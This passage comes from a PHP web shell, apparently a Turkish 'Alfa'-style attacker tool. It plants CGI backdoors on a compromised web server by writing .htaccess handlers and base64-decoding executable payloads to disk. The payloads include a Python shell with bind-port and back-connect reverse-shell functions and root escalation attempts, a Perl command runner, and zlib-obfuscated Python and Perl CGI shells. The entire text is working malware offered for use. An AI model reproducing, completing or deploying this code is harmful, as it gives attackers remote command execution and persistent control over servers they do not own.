uL2Jhc2ggLWknKQogICAgICAgICAgICAgICAgc29jay5zaHV0ZG93bigyKQogICAgZWxpZiBfUkVRVUVTVFsncDEnXSA9PSAiY2MiOgogICAgICAgIHRyeToKICAgICAgICAgICAgc29jay5jb25uZWN0KCAoX1JFUVVFU1RbJ3AyJ10sIGludChfUkVRVUVTVFsncDMnXSkpICkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIHByaW50ICJlcnJvciIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCAiZG9uZSIKICAgICAgICAgICAgdHJ5OiBvcy5zZXRyZXVpZCgwLDApCiAgICAgICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgICAgICB1bmFtZSA9IGNvbW1hbmRzLmdldG91dHB1dCgidW5hbWUgLWEiKQogICAgICAgICAgICBpZCA9IGNvbW1hbmRzLmdldG91dHB1dCgiaWQiKQogICAgICAgICAgICBwaWQsIGNoaWxkUHJvY2VzcyA9IHB0eS5mb3JrKCkgCiAgICAgICAgICAgIGlmIHBpZCA9PSAwOgogICAgICAgICAgICAgICAgc29jay5zZW5kKGFzY2lpKQogICAgICAgICAgICAgICAgc29jay5zZW5kKHVuYW1lKyJcclxuIitpZCsiXHJcbiIpCiAgICAgICAgICAgICAgICBvcy5wdXRlbnYoIkhJU1RGSUxFIiwiL2Rldi9udWxsIikKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiSE9NRSIsb3MuZ2V0Y3dkKCkpCiAgICAgICAgICAgICAgICBvcy5wdXRlbnYoIlBBVEgiLCcvdXNyL2xvY2FsL3NiaW46L3Vzci9zYmluOi9zYmluOicrb3MuZ2V0ZW52KCdQQVRIJykpCiAgICAgICAgICAgICAgICBvcy5wdXRlbnYoIlRFUk0iLCdsaW51eCcpCiAgICAgICAgICAgICAgICBvcy5wdXRlbnYoIlBTMSIsY29sb3IrJycnXHVAXGg6XHdcJCAnJycrcmVzZXQpCiAgICAgICAgICAgICAgICBwdHkuc3Bhd24oIi9iaW4vYmFzaCIpCiAgICAgICAgICAgICAgICBzb2NrLnNlbmQoIlxyXG4iKQogICAgICAgICAgICAgICAgc29jay5zaHV0ZG93bigxKQogICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgYiA9IHNvY2subWFrZWZpbGUob3MuT19SRE9OTFl8b3MuT19OT05CTE9DSykgCiAgICAgICAgICAgICAgICBjID0gb3MuZmRvcGVuKGNoaWxkUHJvY2VzcywncisnKSAKICAgICAgICAgICAgICAgIHkgPSB7YjpjLGM6Yn0KICAgICAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICAgICAgICAgICAgICBmb3IgbiBpbiBzZWxlY3Quc2VsZWN0KFtiLGNdLFtdLFtdKVswXTogCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB6ID0gb3MucmVhZChuLmZpbGVubygpLDQwOTYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB5W25dLndyaXRlKHopIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgeVtuXS5mbHVzaCgpIAogICAgICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgICAgICAgICAKICAgIHByaW50ICIiIjxoMT5OZXR3b3JrIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CiAgICA8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PSJnKG51bGwsbnVsbCwnYnAnLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+Cgk8c3Bhbj5CaW5kIHBvcnQgdG8gL2Jpbi9zaDwvc3Bhbj48YnIvPgoJUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPScyMDQ4Jz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KCTwvZm9ybT4KPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsJ2JjJyx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTsiPgoJPHNwYW4+QmFjay1jb25uZWN0IHNoZWxsOiA8L3NwYW4+PGJyLz4KCVNlcnZlcjogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlcnZlcicgdmFsdWU9JyIiIitvcy5lbnZpcm9uWydSRU1PVEVfQUREUiddKyIiIic+IFBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nNDQzJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KCTwvZm9ybT4KCTxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9ImcobnVsbCxudWxsLCdjYycsdGhpcy5zZXJ2ZXIudmFsdWUsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij4KCTxzcGFuPkNoaXBweTEzMzcgZW5oYW5jZWQgYmFjay1jb25uZWN0IHNoZWxsIChyZXF1aXJlcyBzb2NhdCk6IDwvc3Bhbj48YnIvPgoJU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIiIiK29zLmVudmlyb25bJ1JFTU9URV9BRERSJ10rIiIiJz4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSc0NDMnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPgoJPC9mb3JtPjxicj48L2Rpdj4iIiIKICAgIHByaW50Rm9vdGVyKCkKZGVmIGFjdGlvbkRET1MoKToKICAgIHByaW50SGVhZGVyKCkKICAgIGlmIF9SRVFVRVNUWydwMSddICE9ICIiOgogICAgICAgIHNvY2s9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKQogICAgICAgIHNvY2suc2V0dGltZW91dCgxMCkKICAgIGlmIF9SRVFVRVNUWydwMSddID09ICJicCI6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBzb2NrLmJpbmQoKCdsb2NhbGhvc3QnLCBpbnQoX1JFUVVFU1RbJ3AyJ10pKSkKICAgICAgICAgICAgc29jay5saXN0ZW4oMCkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIHByaW50ICJlcnJvciIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCAiZG9uZSIKICAgICAgICBpZiBvcy5mb3JrKCkhPTA6CiAgICAgICAgICAgIChjLGFkZHIpPXNvY2suYWNjZXB0KCkKICAgICAgICAgICAgb3MuZHVwMihjLmZpbGVubygpLCAwKQogICAgICAgICAgICBvcy5kdXAyKGMuZmlsZW5vKCksIDEpCiAgICAgICAgICAgIG9zLmR1cDIoYy5maWxlbm8oKSwgMikKICAgICAgICAgICAgb3Muc3lzdGVtKCcvYmluL3NoIC1pJykKICAgICAgICAgICAgYy5zaHV0ZG93bigyKQogICAgICAgICAgICBzb2NrLnNodXRkb3duKDIpCiAgICBlbGlmIF9SRVFVRVNUWydwMSddID09ICJiYyI6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBzb2NrLmNvbm5lY3QoIChfUkVRVUVTVFsncDInXSwgaW50KF9SRVFVRVNUWydwMyddKSkgKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgImVycm9yIgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50ICJkb25lIgogICAgICAgICAgICBpZiBvcy5mb3JrKCkhPTA6CiAgICAgICAgICAgICAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDApCiAgICAgICAgICAgICAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDEpCiAgICAgICAgICAgICAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDIpCiAgICAgICAgICAgICAgICBvcy5zeXN0ZW0oJy9iaW4vYmFzaCAtaScpCiAgICAgICAgICAgICAgICBzb2NrLnNodXRkb3duKDIpCiAgICBlbGlmIF9SRVFVRVNUWydwMSddID09ICJjYyI6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBzb2NrLmNvbm5lY3QoIChfUkVRVUVTVFsncDInXSwgaW50KF9SRVFVRVNUWydwMyddKSkgKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgImVycm9yIgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50ICJkb25lIgogICAgICAgICAgICB0cnk6IG9zLnNldHJldWlkKDAsMCkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgICAgIHVuYW1lID0gY29tbWFuZHMuZ2V0b3V0cHV0KCJ1bmFtZSAtYSIpCiAgICAgICAgICAgIGlkID0gY29tbWFuZHMuZ2V0b3V0cHV0KCJpZCIpCiAgICAgICAgICAgIHBpZCwgY2hpbGRQcm9jZXNzID0gcHR5LmZvcmsoKSAKICAgICAgICAgICAgaWYgcGlkID09IDA6CiAgICAgICAgICAgICAgICBzb2NrLnNlbmQoYXNjaWkpCiAgICAgICAgICAgICAgICBzb2NrLnNlbmQodW5hbWUrIlxyXG4iK2lkKyJcclxuIikKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiSElTVEZJTEUiLCIvZGV2L251bGwiKQogICAgICAgICAgICAgICAgb3MucHV0ZW52KCJIT01FIixvcy5nZXRjd2QoKSkKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiUEFUSCIsJy91c3IvbG9jYWwvc2JpbjovdXNyL3NiaW46L3NiaW46Jytvcy5nZXRlbnYoJ1BBVEgnKSkKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiVEVSTSIsJ2xpbnV4JykKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiUFMxIixjb2xvcisnJydcdUBcaDpcd1wkICcnJytyZXNldCkKICAgICAgICAgICAgICAgIHB0eS5zcGF3bigiL2Jpbi9iYXNoIikKICAgICAgICAgICAgICAgIHNvY2suc2VuZCgiXHJcbiIpCiAgICAgICAgICAgICAgICBzb2NrLnNodXRkb3duKDEpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICBiID0gc29jay5tYWtlZmlsZShvcy5PX1JET05MWXxvcy5PX05PTkJMT0NLKSAKICAgICAgICAgICAgICAgIGMgPSBvcy5mZG9wZW4oY2hpbGRQcm9jZXNzLCdyKycpIAogICAgICAgICAgICAgICAgeSA9IHtiOmMsYzpifQogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHdoaWxlIFRydWU6CiAgICAgICAgICAgICAgICAgICAgICAgIGZvciBuIGluIHNlbGVjdC5zZWxlY3QoW2IsY10sW10sW10pWzBdOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHogPSBvcy5yZWFkKG4uZmlsZW5vKCksNDA5NikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHlbbl0ud3JpdGUoeikgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB5W25dLmZsdXNoKCkgCiAgICAgICAgICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICAgICAgICAgIAogICAgcHJpbnQgIiIiPGgxPk5ldHdvcmsgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KICAgIDxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9ImcobnVsbCxudWxsLCdicCcsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij4KCTxzcGFuPkJpbmQgcG9ydCB0byAvYmluL3NoPC9zcGFuPjxici8+CglQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzIwNDgnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPgoJPC9mb3JtPgo8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PSJnKG51bGwsbnVsbCwnYmMnLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+Cgk8c3Bhbj5CYWNrLWNvbm5lY3Qgc2hlbGw6IDwvc3Bhbj48YnIvPgoJU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIiIiK29zLmVudmlyb25bJ1JFTU9URV9BRERSJ10rIiIiJz4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSc0NDMnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPgoJPC9mb3JtPgoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsJ2NjJyx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTsiPgoJPHNwYW4+Q2hpcHB5MTMzNyBlbmhhbmNlZCBiYWNrLWNvbm5lY3Qgc2hlbGwgKHJlcXVpcmVzIHNvY2F0KTogPC9zcGFuPjxici8+CglTZXJ2ZXI6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzZXJ2ZXInIHZhbHVlPSciIiIrb3MuZW52aXJvblsnUkVNT1RFX0FERFInXSsiIiInPiBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzQ0Myc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+Cgk8L2Zvcm0+PGJyPjwvZGl2PiIiIgogICAgcHJpbnRGb290ZXIoKQoKdHJ5OgogICAgewogICAgICAgICdmaWxlcycgOiBhY3Rpb25GaWxlcywKICAgICAgICAnZmlsZVRvb2xzJyA6IGFjdGlvbkZpbGVUb29scywKICAgICAgICAnY29uc29sZScgOiBhY3Rpb25Db25zb2xlLAogICAgICAgICdweXRob24nIDogYWN0aW9uUHl0aG9uLAogICAgICAgICduZXR3b3JrJyA6IGFjdGlvbk5ldHdvcmssCiAgICAgICAgJ3NxbCcgOiBhY3Rpb25TUUwsCiAgICAgICAgJ2Rkb3MnIDogYWN0aW9uRERPUwogICAgfVtfUkVRVUVTVFsnYSddXSgpCmV4Y2VwdCBLZXlFcnJvcjoKICAgIHByaW50SGVhZGVyKCkKICAgIHByaW50Rm9vdGVyKCkK'; $file = fopen("fuhosin.xx" ,"w+"); $write = fwrite ($file ,base64_decode($pythonp)); fclose($file); chmod("fuhosin.xx",0755); echo '

Cgi Telnet 2 Olusturuldu! Asagidaki Baglantiya Tiklayabilirsiniz :)

Cgi Telnet 2
'; } if(isset($_POST['cgi4'])){ mkdir("cgirun"); chdir("cgirun"); $kokdosya = ".htaccess"; $dosya_adi = "$kokdosya"; $dosya = fopen($dosya_adi,'w'); $metin = "AddHandler cgi-script .pr"; fwrite($dosya,$metin); fclose($dosya); $pythonp = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbgojCiMgUGVybEtpdC0wLjEgLSBbRG9hciB1c2VyaWkgaW5yZWdpc3RyYXRpIHBvdCB2ZWRlYSBsaW5rdXJpbGUuIF0KIwojIGNtZC5wbDogUnVuIGNvbW1hbmRzIG9uIGEgd2Vic2VydmVyCgp1c2Ugc3RyaWN0OwoKbXkgKCRjbWQsICVGT1JNKTsKCiR8PTE7CgpwcmludCAiQ29udGVudC1UeXBlOiB0ZXh0L2h0bWxcclxuIjsKcHJpbnQgIlxyXG4iOwoKIyBHZXQgcGFyYW1ldGVycwoKJUZPUk0gPSBwYXJzZV9wYXJhbWV0ZXJzKCRFTlZ7J1FVRVJZX1NUUklORyd9KTsKCmlmKGRlZmluZWQgJEZPUk17J2NtZCd9KSB7CiAgJGNtZCA9ICRGT1JNeydjbWQnfTsKfQoKcHJpbnQgJzxIVE1MPgo8aW1nIHNyYz0iaHR0cHM6Ly9yZXNtaW0ubmV0L2YveWxkcmhNLnBuZz9ub2NhY2hlIiB3aWR0aD0iMzAwIiBoZWlnaHQ9IjgwIj48aDE+Q2dpIENvbW1hbmQgUnVuPGJyPk5pbmphQ1IzPC9oMT4KPGJvZHk+Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IkdFVCI+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIHNpemU9NDUgdmFsdWU9IicgLiAkY21kIC4gJyI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJSdW4iPgo8L2Zvcm0+CjxwcmU+JzsKCmlmKGRlZmluZWQgJEZPUk17J2NtZCd9KSB7CiAgcHJpbnQgIlJlc3VsdHMgb2YgJyRjbWQnIGV4ZWN1dGlvbjpcblxuIjsKICBwcmludCAiXG4iOwoKICBvcGVuKENNRCwgIigkY21kKSAyPiYxIHwiKSB8fCBwcmludCAiQ291bGQgbm90IGV4ZWN1dGUgY29tbWFuZCI7CgogIHdoaWxlKDxDTUQ+KSB7CiAgICBwcmludDsKICB9CgogIGNsb3NlKENNRCk7CiAgcHJpbnQgIlxuIjsKfQoKcHJpbnQgIjwvcHJlPiI7CgpzdWIgcGFyc2VfcGFyYW1ldGVycyAoJCkgewogIG15ICVyZXQ7CgogIG15ICRpbnB1dCA9IHNoaWZ0OwoKICBmb3JlYWNoIG15ICRwYWlyIChzcGxpdCgnJicsICRpbnB1dCkpIHsKICAgIG15ICgkdmFyLCAkdmFsdWUpID0gc3BsaXQoJz0nLCAkcGFpciwgMik7CiAgICAKICAgIGlmKCR2YXIpIHsKICAgICAgJHZhbHVlID1+IHMvXCsvIC9nIDsKICAgICAgJHZhbHVlID1+IHMvJSguLikvcGFjaygnYycsaGV4KCQxKSkvZWc7CgogICAgICAkcmV0eyR2YXJ9ID0gJHZhbHVlOwogICAgfQogIH0KCiAgcmV0dXJuICVyZXQ7Cn0='; $file = fopen("cgi.pr" ,"w+"); $write = fwrite ($file ,base64_decode($pythonp)); fclose($file); chmod("cgi.pr",0755); echo '

Cgi Command Run Olusturuldu! Asagidaki Baglantiya Tiklayabilirsiniz :)

Cgi Command Run
'; } if(isset($_POST['cgi5'])){ mkdir("alfacgi1"); chdir("alfacgi1"); $kokdosya = ".htaccess"; $dosya_adi = "$kokdosya"; $dosya = fopen($dosya_adi,'w'); $metin = "#Coded By Sole Sad & Invisible\nOptions FollowSymLinks MultiViews Indexes ExecCGI\nAddType application/x-httpd-cgi .alfa\nAddHandler cgi-script .alfa"; fwrite($dosya,$metin); fclose($dosya); $pythonp = 'IyEvdXNyL2Jpbi9weXRob24KaW1wb3J0IHpsaWIsIGJhc2U2NApldmFsKGNvbXBpbGUoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoImVKeWxGOXR5MnpiMjJmb0tETHhiVXF1ckZUdk42TmE2WHFmMWJOTm1FcmN2dGtjREVxQ0lDUWx3UWRDMjZ2RisrNTREa0JMVmFPTzJhOC9ZQk03OWZtRE5adG81a25taGpTWHhXdHBvNXY4TmhXSlJKc0p1Unp6R29yQ0FWYkN5N05TbzVhYnNBMTVmbC8yMXNBanBSNndVcjAvN2xja3lHWFVTbzNOaVpTNUlRMkZOZ3VlR2d6VXNGaEdMUDNuVWo5Wkl0Yjc2dVVGdnpqV2pCcmtCRndDMUsxQ3RJeE9pUzlEMlhocXRoaWtyVjUvRUpxUWZMejVjdmI5ZS9YVCs3cEoyUWZreU5yS3dpb0ZDaXhiQnpSN2lYVWRrcGZnOU5xVWRMaExDc29SZDVEeU1rZDFSbk1xTXIwckxwZXFUN1VGWDFyTXZkQ0hVQkhEM1VZZHhwa3QwNnRHUkVXV1ZJWGFiZUdnRTQrRWVFZDYycVd4bEZQSEVuVVNiSERtczVmQ3RGQm4vYUxWaGE4U01jdzRBaEE4aFB2Y3NxMFFZeEVHM3c2WDVITUFCQUg0RUlqRE5rL293RGl2MTcwcGJFZnJnRHFQWHAxekVtb3NRc0xxT0NCZ0NrV2Y3RWhGZ2RWdVMvTWZOZVBycWppd1dKSWc1Q2RDM3lxdmd6cVNIRXVCdk1NTnZoT0IzOGNBRHdMeW9qQkhLL3ROSmJ3S0U1RjN3WkpGQjBvVEJyUXI2Z1RkUWFldTRNUVdjZDdTQkEwaEZNaDJ6ckF3eHdBYzVCeWoyQU9zNmEwRENDMXozMllJcUhZamR5anNQczRiWmRNaWlFditIZEVpN25mZVEvUVZtU1hCRDVuQ3ZvSTQybVZqUVdHZmFUSS9Icjc0K0dZOW5kQm4wNmpyRXNGYWxNR0czRjh4SFNMTDg5Z1hLdlhLNC9QRHI1WWU2SExZY0RzcWVSSWs0T1hNY2RtYnRTTzcrRnFEUFZ5c3NvOVhLUlhpMXlwbFVxeFdHMlpVd29SZGFXU0FkMkUwaHBzU0tSenRLYlo3ZG1sdEZHNlJnamxmTGVRclZzWnhiYVRPeHZJQ0U0aVRha1BNZjM1NlRhM0gramd6SXhmZFg1UDNHcGxyTlJ4NXRuZ3ZMb01hWUtZVmQwRit1M3c3ZTBPWGNXYkw4eHhOVVZ5YVZtQ3F0eE96NWVMVktVTnVxZUVveXpleVVHTGxPN1V6ZkN3TVhEMU9TU3M2Rm1ua1BrT1BKV1pLQUV4OGt0K21Vbkp5T2k4Y1pseVdreDJZS29VZldnd2ppLzJtR2hnMTJmQVFVU2xIS2N2YVFTaXNHNExFWXJGZjZ3YkJpOXB5eFNHUlBPVE5ycVFaT0JXQ092SUhlU3NpbUFjdmtXazFKRHVwa1loWnB3d1hvYzFJOGtsSm5ra09ENERQc2wydWpLOFduMkVBVkNNRWdBZmJqb0V3WlJ6M0c4SHNLVk1mankxZmowL09hMDhBd0xxdHlpcURHdU1rWkt2Qm56SWdyVTZLWENnMHhGT1ovT01ZYmkrTkJxL1ZUVzJlMG9RNURKaEs3OWJMenhMTlVSV1Z2TUdzV1pSWGwwdDQ5MVFJYmVXMWVMcjZIM1ZUSEVqcW5Xb3RERG5nK2hvYnk5SmU0TmI3N0dsVStFTThEMGdyR1lWQ3NCN1dUU3NzTVlKOTlEaEdvQ2Q0L1kxQWd0T3dKeG9MOFRkVDY3YVYyUy91VzhvM2dsaTV0ZTQ3ZnVwOUc4UFRrTmFEVnhYLzJKajQ3ZTFNYkNJM2s3N3NpWVpYVnMyZG9BNjdHNWlOZnRaSG1HNklWeEpNdktOZHhsVU11WXJPNnpBUitmcmU1NHVGdEFLNitoUmFiQUFLMHpCa2wwZHBKWE5EanNmdWh4T3JDdTNKQjRZU3AwVHI2VDZkVzY1d0tkTHE3UUdjQk0yOGFkSUpZWUxJczV3bjBJVktMZ2tEU0pUVGNhTmRsd0NPQ2xJeVRyeUI5NzJVcFlUa2kvM0hYOWVuYk5mUzJiQmpyZkQ2S29QM05SOGdTN0c4a1dGeW9pSGZ6Z3A1UVVtdUozcU1raGxyQytnRkhPejN4WER0K1FTZWdxRVVXL0lBLzJteHFPeEtvd3dYOVZSak9GS01FczhJekFjWDJMRDJlVEM0bmt6Y084bkZuQzdsWXkyMGpqWmExS1FSNnRSS3hCWTlZVFY2WUcwaGxPZjR4amU3TG9KbjVSSmJrSjhoRHQwbTVZVTlielo3TCsyYlUxRFdEUVo1T01FdWRwaGM2ejNHR1R3L05wYnIwWUN6MVVWU2ZOQlBKNndUTWwvTmkrVVVoZTVYYWlHMnFqQmo5VUlJM3dmTmxBVUdLVXhGL1d0QUVacnlndFlsQklqTVI0UERIVFF1dHRHN1JQanBDUUlLN1dyMkYzWGpVTzRUVkd3cUVRRUhaSzlnd3R0aDlrc25TdWhYaWlKQTJrNXZ0NGE3akJHamo0TkNQYzZkQUEzYTBLS09CRHZFRHg1MkhFT0NyV25zSWJtOElEVC9ENzI3eHF5eGI0UzJRdFRZYldOQkd1S3dscWtIRWJUamNZa05JSGlJbzhnY0RiUGZaMXd2d1RnTGNZZmFDQU1pTkVIUUR6OWdkcXk2Y1Y0Z3dPaGxQVHJkazlXNXhqVk12RVZET2hQWmd3b1FOdTI2UGtuOTlONlQ3K01GMUtweEVRb05lb25vQjFCWXJTVlZnMHdJZVpSWEhvaXhSK0dhSTY2ZC9HcEZMOTA5cWVBa0lZNXczUFVNNGRZN3E1WENiQVI2MFhTbnJKWGZmZmMydTJ6MHN4UFBCNTlpMlprWk5lallwUGlvT0ZPQThjcDBPWGcxYSthbTVvRGFWNEZWM0dNS0l4aWJGRjlaVVl0YUNwTDhEeVNUY2cwcStXTndHS2JUdUozZlBoKzVwQVhkQnIxNXhlOEZ0OE95QWNRMk1yR1pocFVRWnMwS0VRdUViNFpjUFYxRGRCZlFHQ0hjYnU5dnR6dlpZL3pGcXZxT21CSk1YS2hXbWdvRFdCblBvL2M4ZnJ5bGhNZnAxQVVIZnZmc2crTXU1MnpHSTJ6R28zL3dhSHB3U3J3WGRYMzV4R2ZZN2V5OGdlL1FZSDByQVR4VGkyckNKS2RtWDR2M1pnSnVUNzkrdnhsdWh5eVZkZnFYZ29UQnIvMzJSVStvVkFDdTBpak9KYlFzQ0dXdVZTSlBEOEQwM2dteDBCWWtPSDk5QU1PdG9BcEVMN3V3Wms1blVqMURYOFdaYm5YN1FPZlEvSEJVbXh6YTR5OHhEU2JnYnUzOG1HZitQMkFPU2Qwd09MMmNKcTdCMW1nNDRzK3dQSjRUZlZST2NuSFZYTVBpWXdCbUVqdDArSDlBUHpjUEpMYlo3MGJwSU5iem5DWE85QnZja2h6RWZPZTVOUHRTenFWbWEzZGJtdzdlVmpGRk1jZGg5YWFIYTZvUnJsWVQ1Ylg2NGZ2Zmp3am5JdGNPYjhkMFFNWUM3ZHhEZWJtdkZmZGY1ZDdZdGlmMzAzRSs0T2gyOGxuK3hpTDVBeEQ2WDRGTnV0Mmp0TW03a2RpNmMvTEI5NGlxS3o4amd2MTFOVlpvPSIpKSwnPHN0cmluZz4nLCdleGVjJykp'; $file = fopen("py.alfa" ,"w+"); $write = fwrite ($file ,base64_decode($pythonp)); fclose($file); chmod("py.alfa",0755); echo '

Alfa Python Cgi Olusturuldu! Asagidaki Baglantiya Tiklayabilirsiniz :)

Alfa Python Cgi
'; } if(isset($_POST['cgi6'])){ mkdir("alfacgi2"); chdir("alfacgi2"); $kokdosya = ".htaccess"; $dosya_adi = "$kokdosya"; $dosya = fopen($dosya_adi,'w'); $metin = "#Coded By Sole Sad & Invisible\nOptions FollowSymLinks MultiViews Indexes ExecCGI\nAddType application/x-httpd-cgi .alfa\nAddHandler cgi-script .alfa"; fwrite($dosya,$metin); fclose($dosya); $pythonp = 'IyEvdXNyL2Jpbi9wZXJsICAgLUkvdXNyL2xvY2FsL2JhbmRtaW4KdXNlIE1JTUU6OkJhc2U2NDt1c2UgQ29tcHJlc3M6OlpsaWI7ZXZhbChDb21wcmVzczo6WmxpYjo6bWVtR3VuemlwKGRlY29kZV9iYXNlNjQoIkg0c0lBQUFBQUFBQS82VVpEWGZUUnZLdkxCdGhTUkJidGt0YXpySmNRdUpBM2lVaGx4anU5YUpnWkdsdDcwT1dWSDJRcE1iOTdUZXp1N0trRUtDMHlVT1JadWQ3Wm1kbWx5Smo1UFQ0ZER3WXZQUXk5dk16dXdEQUVRK1pCRVRlaWduUXdVMUFkRytXVFJNdlgrcTI1aS80Tk9BcGNRZzhFY3NvRncydGE1cTI5bDhlblUxZ3VXdHJaNU9EVlhESkV2aWlMV3ByYnlOK1cwRnNnQnpFcTVVWEJSTytZbkdSSHhhcGwvTTRndFVla0Y4dTQ1dkRPNURCL1RkRm5oUTV3bTBOdEJLQzRXdkI4akJlOEloOC9venZ5VTNCQTBNYm12aE52WER1b1loU29LRlUrNVZVaWcxSVRTbFRJSitEd1hWazZnY1U4R2h5RTFEQU9BZEw3L09qcml0UUxFUzRZT0FZNXVkeDJzUWgvVkdyUjNxalZsL2c0bHRQd0lBb0syYmtnbm5CdVplQ3k5ZGg3SHNoTVo3d3lBUWVMNmFFeitGcEs3REdkNGtHNy9EOHlPN2crY2tMUWU1cEVlWTg4ZEw4S0U1WGgxN3VBYWsyUG51MzFnL2VuRTNHWjVQcDVMZnpzYjRoenAvRVdwWElyalVIOUhZQStEYVp4VVVVZU9tZFkzU2VtcHBsODdraE9WeU0vL04yZkRtWm5vNG5yOThjQWcvMk82R3Z4aE5xcmpVZWJRVUIwc1Z2MDh2SnhmSFpLMzFqYjFpWWZadkYrWnRMNUpHQzZjYmw1UEQ0REt6aDBlNDl2VS9HWjY4bXIvV05hVysyN1A2dVRhRHdTd1VCdGZWMlcrOW9QZnRGeURQTXJpd0plVzVZV3hSTDZBUE9mUTBhc3ZSbEhDQ1ZodGhYdmVzbUdEUndVemZDZjUvaFQyU1Z5MGp4d2RaS1lyMTgvWk5rZ2tLekFKVkhhMzBPdXcrVlJudUlRS3BZQUhkY3hyeDNYSXEydUxRa2svaTkycGRnVFMxcmNSK1dJUXk4QTBuazlHMWxpY2F2NFpVL2ZRck9LUUVTLzMzbnFaQW9WS3d2QVhmRHZWRktRQllxQlNBVGxZbmlEVmtZNzQyR1cwenpzd0JvOEtXWlFzVXQ3bU9qMHpHdHhQTS9HdFNudTJUSmJnMnRaNXJXZ2dsRFVKS3dGU2pzRGFZWFc3OFErYWNDMXlvREJpWXl6MS9DQnpHNnBOTWgyZzZBTVZrcjQ5eW5GZ0h4Um0wWFZad2N5UW14ZDBuZlZFWitWOGtmTktVRFpkRHRVdHpmUnNEbVBHSlF2c3BWTEtaMVRHWDFCb3ZGMnlTTXZRREw5ZHBmeG9taFRid1VDdUFaQk1zVTNHb0FkTmhCa2FZc3lnOTVhcUorSyt2S2RWM3JHdmE0TmttOUtKdXpGSm1KdFVmRzFYdnJ2ZXRlUHpHMVIzYWRFU3FoNmgvdUdyV0VoSmY4RDVURG85